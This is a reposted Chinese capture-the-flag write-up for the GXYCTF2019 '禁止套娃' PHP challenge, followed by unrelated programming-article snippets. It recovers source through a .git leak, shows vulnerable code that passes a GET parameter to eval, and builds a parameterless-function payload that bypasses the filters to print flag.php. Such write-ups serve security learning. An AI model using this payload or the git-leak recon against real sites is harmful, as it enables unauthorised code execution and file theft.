[GXYCTF2019]禁止套娃

摘要:
而数组第一项就是.2.current()返回数组中的当前单元,默认取第一个值。");17}18}19else{20die("还想读flag,臭弟弟!˃分析源码1.需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。)/',NULL,$_GET['exp']))我们先来分析一下正则它其实大体上就匹配的是一个函数,就例如a();注意正则里有一个?

拿到这道题,抓包看了看,啥也没有,考虑用dirsearch爆破目录,未果,忍不住看了下大佬的wp,原来是./git源码泄露,当然这并没有完,精彩的还在后面呢,我们来看一下这道题

前言

本题主要用到5个函数

1.localeconv() 返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
2.current() 返回数组中的当前单元, 默认取第一个值。
3.scandir() 可以扫描当前目录下的文件
4.array_reverse() 以相反的元素顺序返回数组
5.next() 将内部指针指向数组的下一个元素,并返回结果
题目

打开题目就是个这

[GXYCTF2019]禁止套娃第1张

用dirsearch爆破目录未果,用githack探测发现有index.php这个文件

[GXYCTF2019]禁止套娃第2张

分析
1 <?php
2 include "flag.php";
3 echo "flag在哪里呢?<br>";
4 if(isset($_GET['exp'])){
5     if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
6         if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
7             if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
8                 //echo $_GET['exp'];
9                 @eval($_GET['exp']);
10 }
11             else{
12                 die("还差一点哦!");
13 }
14 }
15         else{
16             die("再好好想想!");
17 }
18 }
19     else{
20         die("还想读flag,臭弟弟!");
21 }
22 }
23 //highlight_file(__FILE__);
24 ?>

分析源码

1.需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
2.过滤了常用的几个伪协议,不能以伪协议读取文件。
3.(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
4.正则匹配掉了et/na/info等关键字,很多函数都用不了。
5:eval($_GET['exp']); 典型的无参数RCE

关键点还是在这句代码中

if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp']))

我们先来分析一下正则

它其实大体上就匹配的是一个函数,就例如a();

注意正则里有一个?R,这玩意儿是引用当前表达式,后面再加?是递归调用

[GXYCTF2019]禁止套娃第3张

最后替换后就是个;

[GXYCTF2019]禁止套娃第4张

所以exp必须要是a(b());这种类型的才可

既然getshell基本不可能,那么考虑读源码
看源码,flag应该就在flag.php
我们想办法读取

首先需要得到当前目录下的文件
scandir()函数可以扫描当前目录下的文件,例如:

<?php
print_r(scandir('.'));
?>

那么问题就是如何构造
scandir('.')
这里再看函数:

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
这里还有一个知识点:

current(localeconv())永远都是个点

[GXYCTF2019]禁止套娃第5张

那么我们第一步就解决了:

print_r(scandir(current(localeconv())));

[GXYCTF2019]禁止套娃第6张

现在的问题就是怎么读取倒数第二个数组呢?

这里主要用到两个函数next()和array_reverse()

next()

[GXYCTF2019]禁止套娃第7张

arrar_reverse()

[GXYCTF2019]禁止套娃第8张

scandir函数的返回值是一个数组,如果把数组逆序排列,再用一个next不就可以了吗,highlight_file输出,payload:

最后的payload

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

免责声明:文章转载自《[GXYCTF2019]禁止套娃》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Burpsuite-Intruder模块详解pycharm快捷键,变量,字符串,类型的操作方法下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

js之split()和join()的用法

说明 这几天写了一个简单的vue项目,需要截取字符串,一时间想到了正则表达式,还折腾了还一会儿,最后上网查了一下,使用split()再简单不过了,也顺便回忆一下join()。可见我有多菜,哈哈,学了这么久,竟然对它们这么陌生。 split(separator,howmany) 说明:可以把某个字符串str按某个字符(separator)分割成多个字符串...

16进制与字符串、字节数组之间的转换

1.请问c#中如何将十进制数的字符串转化成十六进制数的字符串//十进制转二进制Console.WriteLine("十进制166的二进制表示: "+Convert.ToString(166, 2));//十进制转八进制Console.WriteLine("十进制166的八进制表示: "+Convert.ToString(166, 8));//十进制转十六...

vue中ref的使用(this.$refs获取为undefined)

如果你获取到的总是空的,你注意一下: 1、你在哪里调用,和你调用的对象 试试在mounted()里面调用有效果没有 调用的对象是本来就存在的,还是需要数据渲染之后才会出现的,同理,在mounted()里面调用看看 2、调用对象是不是数组列表 我一开始设置ref在v-for列表上,直接获取this.$refs.name.style,永远是空的, 后来才发现,...

C#的6种常用集合类大比拼 (转)

一.先来说说数组的不足(也可以说集合与数组的区别): 1.数组是固定大小的,不能伸缩。虽然System.Array.Resize这个泛型方法可以重置数组大小,但是该方法是重新创建新设置大小的数组,用的是旧数组的元素初始化。随后以前的数组就废弃!而集合却是可变长的 2.数组要声明元素的类型,集合类的元素类型却是object. 3.数组可读可写不能声明只读数组...

C# 集合之Dictionary详解

开讲。 我们知道Dictionary的最大特点就是可以通过任意类型的key寻找值。而且是通过索引,速度极快。 该特点主要意义:数组能通过索引快速寻址,其他的集合基本都是以此为基础进行扩展而已。 但其索引值只能是int,某些情境下就显出Dictionary的便利性了。 那么问题就来了--C#是怎么做的呢,能使其做到泛型索引。 我们关注圈中的内容,这是Dic...

java alibaba fastJson 遍历数组json

import java.util.*; import com.alibaba.fastjson.*; public class Test { public static void main(String[] args) { //方法1 String json = "[{"companyId":"111111111","com...